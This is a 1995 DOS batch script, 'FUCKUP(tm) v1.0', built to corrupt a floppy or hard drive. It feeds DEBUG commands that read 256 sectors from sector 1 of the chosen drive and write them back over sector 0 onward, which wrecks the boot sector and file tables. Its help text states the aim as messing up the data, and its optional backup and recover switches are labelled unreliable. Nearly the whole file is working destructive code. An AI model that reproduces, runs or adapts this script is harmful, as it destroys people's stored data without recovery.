@echo off
  if '%1'=='' goto HELP
  if %1==/? goto HELP
  if %1==a: set drvno=0
  if %1==b: set drvno=1
  if %1==c: set drvno=2
  if %1==d: set drvno=3
  if %1==e: set drvno=4
  if %1==f: set drvno=5
  if %1==A: set drvno=0
  if %1==B: set drvno=1
  if %1==C: set drvno=2
  if %1==D: set drvno=3
  if %1==E: set drvno=4
  if %1==F: set drvno=5
  if %2==/CONDOM set condom=on
  if %2==/condom set condom=on
  if %2==/RECOVER goto recover
  if %2==/recover goto recover

rem if NOT %1==/? goto HELP
rem if NOT %1==a: goto HELP
rem if NOT %1==b: goto HELP
rem if NOT %1==c: goto HELP
rem if NOT %1==d: goto HELP
rem if NOT %1==e: goto HELP
rem if NOT %1==f: goto HELP
rem if NOT %1==A: goto HELP
rem if NOT %1==B: goto HELP
rem if NOT %1==C: goto HELP
rem if NOT %1==D: goto HELP
rem if NOT %1==E: goto HELP
rem if NOT %1==F: goto HELP
rem if NOT %2==/CONDOM goto HELP
rem if NOT %2==/condom goto HELP
rem if NOT %2==/RECOVER goto HELP
rem if NOT %2==/recover goto HELP goto START
  goto START
:HELP
  echo FUCKUP(tm) v1.0 Usage:
  echo [drive other than target drive]FUCKUP [hard or floppy target drive] [switch]
  echo ===============================================================================
  echo Target Drives: A:, B:, C:, D:, E: or F:
  echo Switches     : /? --------- Show this help menu.
  echo                /CONDOM ---- Enable FUCKDOWN function after being FUCKedUP.
  echo                /RECOVER --- Recover disk(ette).
  echo ÿ
  echo    eg1. C:\FUCKUP A: ------------ to mess up data on A: from C:\
  echo    eg3. C:\FUCKUP B: /condom ---- Enable B: to be recovered BEFORE any
  echo                                   adjustment is made after destruction.
  echo    eg4. C:\FUCKUP B: /recover --- Recover B: (/condom switch required).
  echo ÿ
  echo        *WARNING! Both /condom and /recover are still under developement
  echo         and NOT reliable!
  goto end
:START
  echo FUCKUP(tm) v1.0--- whose original concept was proposed by the
  echo smartass James Gregory again
  echo Completion Date: Jan. 1995
  echo ---------------------------------------------------------------

  echo Are you sure you want %1 to be FUCKedUP?
  echo Abort now, else press anykey to start FUCKing...
  pause > nul
  echo RCX > _fuck1.$$$
  echo 512 > _fuck2.$$$
  if %condom%==on goto safesex
  goto unsafesex
        :safesex
          set condom=off
          echo Backing up %1...
          echo l 100 %drvno% 0 100 > _fuck21.$$$
          echo n FUCKBACK.SRC > _fuck22.$$$
          echo w              > _fuck23.$$$
          copy _fuck2.$$$+_fuck21.$$$+_fuck22.$$$+_fuck23.$$$  _fuck2.$$$ >nul
          del _fuck21.$$$
          del _fuck22.$$$
          del _fuck23.$$$
        :unsafesex
  echo l 100 %drvno% 1 100 > _fuck3.$$$
  echo w 100 %drvno% 0 100 > _fuck4.$$$
  echo q             > _fuck5.$$$
  copy _fuck1.$$$+_fuck2.$$$+_fuck3.$$$+_fuck4.$$$+_fuck5.$$$ fucksrc.$$$ >nul
  del _fuck1.$$$
  del _fuck2.$$$
  del _fuck3.$$$
  del _fuck4.$$$
  del _fuck5.$$$
  echo FUCKingUP %1...
  debug < fucksrc.$$$ >nul
  del fucksrc.$$$
  echo %1 should now be FUCKedUP.
  goto end
:recover
  echo w 100 %drvno% 0 100 > _fuck1.$$$
  echo q > _fuck2.$$$
  copy _fuck1.$$$+_fuck2.$$$ fucksrc.$$$ >nul
  del _fuck1.$$$
  del _fuck2.$$$
  debug fuckback.src < fucksrc.$$$ >nul
  del fucksrc.$$$
:end